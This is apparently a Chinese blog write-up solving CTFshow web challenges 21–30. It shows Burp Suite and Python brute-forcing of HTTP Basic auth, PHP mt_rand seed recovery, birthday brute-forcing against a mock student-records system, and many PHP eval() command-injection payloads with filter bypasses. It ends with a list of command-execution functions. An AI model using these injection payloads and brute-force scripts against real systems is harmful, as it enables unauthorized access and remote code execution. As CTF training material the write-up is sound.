• 《CTFshow - Web入门》03. Web 21~30



    ctf - web入门

    索引

    • web21:用户名密码爆破。
    • web22:域名爆破。
    • web23:PHP 代码分析。
    • web24:PHP 伪随机数。
    • web25:PHP 伪随机数逆推。
    • web26:密码爆破。
    • web27:burpsuite 暴力破解(Sniper)之 Dates 使用。
    • web28:burpsuite 暴力破解(Cluster bomb)之 Numbers 使用。
    • web29:eval() 利用与正则绕过。
    • web30:eval() 利用与正则绕过。

    web21

    题解

    随便输入用户名:admin,密码:111。

    在这里插入图片描述

    抓包看一下。没找到 username 和 password 的字段。but:
    Authorization 请求头中,输入的 用户名 / 口令 以 base64 的形式传输。

    在这里插入图片描述

    格式是:用户名:密码

    在这里插入图片描述

    Intruder 爆破设置。

    在这里插入图片描述

    选择自定义迭代。

    在这里插入图片描述

    拼接语句 1。

    在这里插入图片描述

    拼接语句 2。

    在这里插入图片描述

    拼接语句 3。

    添加爆破密码字典。

    在这里插入图片描述

    拼接完成后,设置 base64 编码。在 payload processing 进行编码设置。

    最后的 URL 编码 不用选择。

    在这里插入图片描述

    最后的密码是 shark63。

    在这里插入图片描述

    下面的代码提供了另一种解题思路

    # -*- coding: utf-8 -*-
    # @Author: h1xa
    # @Date:   2020-11-20 19:16:49
    # @Last Modified by:   h1xa
    # @Last Modified time: 2020-11-20 20:28:42
    # @email: h1xa@ctfer.com
    # @link: https://ctfer.com
    
    import time
    import requests
    import base64
    
    url = 'http://41a801fe-a420-47bc-8593-65c3f26b7efa.chall.ctf.show/index.php'
    # URL换成实际的靶场网址
    
    password = []
    
    # 使用字典
    with open("1.txt", "r") as f:  
    	while True:
    	    data = f.readline() 
    	    if data:
    	    	password.append(data)
    	    else:
    	      break
    	    
    
    
    for p in password:
    	strs = 'admin:'+ p[:-1]
    	header={
    		'Authorization':'Basic {}'.format(base64.b64encode(strs.encode('utf-8')).decode('utf-8'))
    	}
    	rep =requests.get(url,headers=header)
    	time.sleep(0.2)
    	if rep.status_code ==200:
    		print(rep.text)
    		break
    		
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39

    原理

    • tomcat 认证爆破。
    • burpsuite 暴力破解(Sniper)之 custom iterator 使用。

    Payload Sets 中选择类型:custom iterator(自定义迭代器)。
    Payload Processing 中进行编码设置:进行base64编码。
    取消 Palyload Encoding 编码 因为在进行base64加密的时候在最后可能存在 == 这样就会影响 base64 加密的结果。

    web22

    题解

    域名更新后,flag.ctf.show 域名失效。
    所以这道题没法做了。but 爆破方式没有太大差别。

    原理

    • 域名也可以爆破。

    web23

    题解

    分析代码:变量 token 被 md5 加密,且它的第一位 = 第十四位 = 第十七位,化为整数后(第一位 + 第十四位 + 第十七位)/ 第一位 = 第三十一位,则可获得 flag。

    在这里插入图片描述

    选择 burp 爆破也可以,但可以直接用写脚本跑出需要传递的值。

    # coding: utf-8
    
    import hashlib
    dic = '0123456789qazwsxedcrfvtgbyhnujmikolp'
    for a in dic:
        for b in dic:
            c = (str(a)+str(b)).encode('utf-8')    # python3中必须进行utf-8编码
            token = hashlib.md5(c).hexdigest()
            if token[1:2] == token[14:15] and token[14:15] == token[17:18]:
                if (int(token[1:2])+int(token[14:15])+int(token[17:18]))/int(token[1:2]) == int(token[31:32]):
                    print(c)
    
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12

    传递 token=3j

    在这里插入图片描述

    原理

    • MD5 加密:产生出一个 128 位(16 字节)的散列值(hash value),用于确保信息传输完整一致。生成结果是固定的 128 字节,通常用一个 32 位的 16 进制字符串表示。
    • PHP:substr()、intval()、以及代码分析。

    web24

    题解

    题目已经告诉了我们种子。

    在这里插入图片描述

    可以直接写一个 php 脚本来得到随机数。

    
        mt_srand(372619038);
        echo mt_rand();
        
    
    • 1
    • 2
    • 3
    • 4

    在这里插入图片描述

    解决。

    在这里插入图片描述

    原理

    • PHP:伪随机数、mt_srand()、mt_rand()。

    提示:从 PHP 4.2.0 开始,随机数生成器自动播种,因此没有必要使用该函数。
    如果设置了 seed 参数,生成的随机数就是伪随机数,即每次生成的随机数是一样的
    简单来说就是通过这个函数 mt_srand() 来设定一个种子 seed
    再通过 mt_rand() 来结合种子按照一定的规则得到一个随机数
    这是一个线性的计算,每次请求得到的随机数都是不一样的,但是只要种子一样,得到的随机数都是像一个一次函数一样变化的,就像 y=ax=b,x 就是请求的次数,a 和 b 就是由种子决定

    web25

    题解

    通过分析可以得出如下思路:

    种子涉及到flag,不能直接求到
    if((!$rand)) 要使这个为真,就要让 $rand=0 ,
    而 $rand = intval($r)-intval(mt_rand()) 
    所以要得到随机数才能构造 $r=$mt_rand()
    • 1
    • 2
    • 3
    • 4

    所以我们还要求得种子,这就要用到 php_mt_seed 来逆推种子了。

    在这里插入图片描述

    先传递 r=0,可得到随机数的相反数,这里随机数为 2140655666。(不同靶场获得的随机数不一样)

    在这里插入图片描述

    下载好工具后拉到 kali 里面,打开文件夹,运行终端,输入 make

    在这里插入图片描述

    输入 ./php_mt_seed 随机数 ,开始爆破。

    在这里插入图片描述

    因为不知道是第几次得到这个随机数,所以爆破出了很多个:
    398826382
    398826383
    966551370
    1162957153
    1259472860
    3045777377
    3123628127

    这就需要写一个 php 脚本来测试是哪个种子第一次就得到这个随机数。

    
        $num = 1162957153;
        mt_srand($num);
        echo mt_rand();
        
    
    • 1
    • 2
    • 3
    • 4
    • 5

    发现种子可能有多个,分别是 1162957153、1259472860、3045777377。

    在这里插入图片描述

    接下来就得一个一个试了。
    对其中一个可能的种子请求两次并求和得到 token 的值。

    在这里插入图片描述

    
        $num = 3045777377;
        mt_srand($num);
        $a1 = mt_rand();
        $a2 = mt_rand();
        $a3 = mt_rand();
        echo $a1."
    "
    ; echo $a2."
    "
    ; echo $a3."
    "
    ; echo ($a2 + $a3)."
    "
    ;
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11

    这样需要的值都拿到了,接下来用 burp 改个包提交即可。
    最后得到:
    r=3045777377
    token=3295063840

    在这里插入图片描述

    原理

    • 和上题一样是伪随机数的题目。
    • 这个题需要使用工具 php_mt_seed 。专门用来跑mt_srand()种子和 mt_rand()随机数。
      下载地址:https://www.openwall.com/php_mt_seed/

    web26

    这题确实是可以爆破出来。不过…

    题解

    点击“同意协议,开始安装”后,点击下面的按钮,竟然弹出了连接成功。

    在这里插入图片描述

    直接上 burp 获得了 flag。

    在这里插入图片描述

    第二种方法

    当然也可以直接用 burp 爆破。

    在这里插入图片描述

    选择字典后就可以开始爆破了。这里用了之前的一个字典。然后密码看了其他师傅的 writeup 后手动添加到字典里的…密码是 7758521。

    在这里插入图片描述

    最后通过长度筛选获得请求成功的信息。

    在这里插入图片描述

    web27

    • burpsuite 暴力破解(Sniper)之 Dates 使用。

    题解

    网页是菜鸡学院教务管理系统。
    可以下载录取名单,可以查讯学生学籍信息。

    在这里插入图片描述

    录取名单里面有学生姓名和部分身份证号,屏蔽的信息是生日年月日。

    在这里插入图片描述

    学生学籍信息查询系统中只需要输入姓名和身份证就可以查询信息。
    那就以第一个同学为例。

    在这里插入图片描述

    burp 抓包。

    在这里插入图片描述

    爆破模块有一个 Dates 模块,专门用来爆破日期信息,把格式调好,就设定一个范围开始爆破。

    在这里插入图片描述

    爆破出来生日为 19900201。
    burp 获取的结果是 html 编码过的,可以直接在浏览器控制台解析。

    在这里插入图片描述

    也可以直接查询。

    在这里插入图片描述

    登录。

    在这里插入图片描述

    web28

    • burpsuite 暴力破解(Cluster bomb)之 Numbers 使用。

    题解

    看 url 会比较奇怪,是 0/1/2.txt。如果修改最后的 2.txt 会被无限重定向,不删除 2.txt 只修改前面的 0 和 1 依旧会被无限重定向。

    在这里插入图片描述

    所以,先去掉 2.txt,对前面两个数字进行爆破。

    攻击类型选择 Cluster bomb(集束炸弹)。

    在这里插入图片描述

    设置 payload 1。

    在这里插入图片描述

    payload 2 同理。

    在这里插入图片描述

    爆破成功。

    在这里插入图片描述

    web29

    题解

    preg_match 函数用于执行一个正则表达式匹配。
    这次的判断是不能出现 flag 字样,后面 i 意思是不分辨大小写。
    匹配字符串 flag,那么使用通配符、单引号(成对)等方式简单绕过。

    在这里插入图片描述

    方法一

    url + ?c=system('tac fla?.php');
    
    • 1
    • system() 这个函数是系统调用。类似于在 cmd 窗口中执行,其参数是可执行的命令。
    • tac 命令本质上是 cat 命令,但其目的是反向连接文件。
      tac 命令用于按相反顺序逐行连接和打印文件内容。和 cat 命令一样,将每个文件连接到标准输出,但顺序相反,逐行打印,首先打印最后一行。
    • 利用Linux系统的通配符 ? 绕过
    • 所以使用 cat 命令也可以获取 flag,但需要在源码中查看。

    在这里插入图片描述

    方法二

    url + ?c=echo `tac fl''ag.php`;
    
    • 1
    • 反引号的作用就是将反引号内的 Linux 命令先执行,然后将执行结果赋予变量。
    • 由于 '' 符号并不会影响命令的执行,所以我们可以插入这些符号来绕过。在 linux 中可以使用【'】来绕过,比如 fl''ag 就等效于 flag

    在这里插入图片描述

    方法三

    url + ?c=echo `nl fl?g.php`;
    
    • 1
    • nl 命令:Linux 中 nl 命令和 cat 命令很像,不过 nl 命令会打上行号
      nl 命令在 linux 系统中用来计算文件中行号。nl 可以将输出的文件内容自动的加上行号。
      注意 nl 指令没有回显,要 echo 出来才有效果

    查看源码获得 flag

    在这里插入图片描述

    方法四

    url + ?c=`cp fl?g.php 1.txt`;
    
    • 1

    复制 flag.php 成为 1.txt 再访问 1.txt 来获得信息

    在这里插入图片描述

    方法五
    嵌套 eval 逃逸参数

    url + ?c=eval($_GET[1]);&1=system('tac flag.php');
    
    • 1

    逃逸出一个 1,flag 在 1 里不会被过滤 。

    在这里插入图片描述

    方法六

    url + ?c=show_source(next(array_reverse(scandir(pos(localeconv())))));
    
    • 1

    localeconv() 函数返回一包含本地数字及货币格式信息的数组。
    pos() 函数返回数组中当前元素(指针指向)的值。
    scandir() 函数返回指定目录中的文件和数组。
    array_reverse() 将数组倒序输出。
    next() 将指针指向数组的下一个元素并输出。
    show_source() 对文件进行语法高亮显示,是highlight_file()别名。

    在这里插入图片描述

    方法七
    嵌套 include 文件包含,利用伪协议文件包含,再 base64 编码

    url + ?c=include $_GET[1];&1=php://filter/convert.base64-encode/resource=flag.php
    
    • 1

    base64 解码后获得源码

    在这里插入图片描述

    方法八
    嵌套 require 文件包含

    url + ?c=require $_GET[1];&1=php://filter/convert.base64-encode/resource=flag.php
    
    • 1

    base64 解码后获得源码

    在这里插入图片描述

    方法九
    使用通配符【*】

    url + ?c=system('cat fl*');
    
    • 1

    查看源码获得 flag

    在这里插入图片描述

    原理

    • PHP:preg_match() 、eval()、嵌套 eval 逃逸参数、伪协议、文件包含
    • Linux 命令:system() 函数、tac 命令、反引号、通配符、nl 命令、cp 命令
    • 注意内联命令执行的反引号
    • 注意 php 语句的结束符分号

    web30

    方法都和上一题差不多。掌握原理就轻松很多了。果然上一题学了那么多方法是不亏的啊 o(* ̄3 ̄)o
    除此以外附上其他师傅的总结:

    system($cmd);
    assert(php语句);
    preg_replace($pat,$rep,$sub)  #第一个参数,/e模式是要在正则匹配到特定特征的字符串直接当作php代码来执行,执行结果替换原字符
    eval($str);
    shell_exec($cmd);
    exec($command, $output, $return_var)
    passthru($cmd);
    popen($cmd,mode);
    proc_open();  #详细用法百度吧
    pcntl_exec();  #如:pcntl_exec('/bin/bash','mv /tmp/test1.txt /tmp/test2.txt')
    反撇号  #(shell_exec() 函数实际上仅是反撇号 (`) 操作符的变体)
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11

    题解

    在这里插入图片描述

    方法一
    随便用上一题的一种方法就好了。这里用的是

    url + ?c=echo `tac f''lag.ph''p`;
    
    • 1

    得手

    在这里插入图片描述

    方法二
    源码过滤了 system,可以采用 passthru。

    url + ?c=passthru("cat fl*");
    
    • 1

    当然这类题还有其他很多方法。


    善者不辩,辩者不善。

    ——《道德经》

  • 相关阅读:
    MR案例 - 分科汇总求月考平均分
    web前端期末大作业——基于HTML+CSS+JavaScript蓝色的远程监控设备系统后台管理界面模板
    启动solr报错The stack size specified is too small,Specify at least 328k
    支持向量机----核技巧(Kernel Trick)
    apache中的ab压测
    RDB、AOF 阻塞操作?
    list容器 常用 API操作
    程序猿成长之路之密码学篇-密码学简介
    类加载和字节码技术篇
    如何在矩池云上安装语音识别模型 Whisper
  • 原文地址:https://blog.csdn.net/KeepPromise/article/details/127999463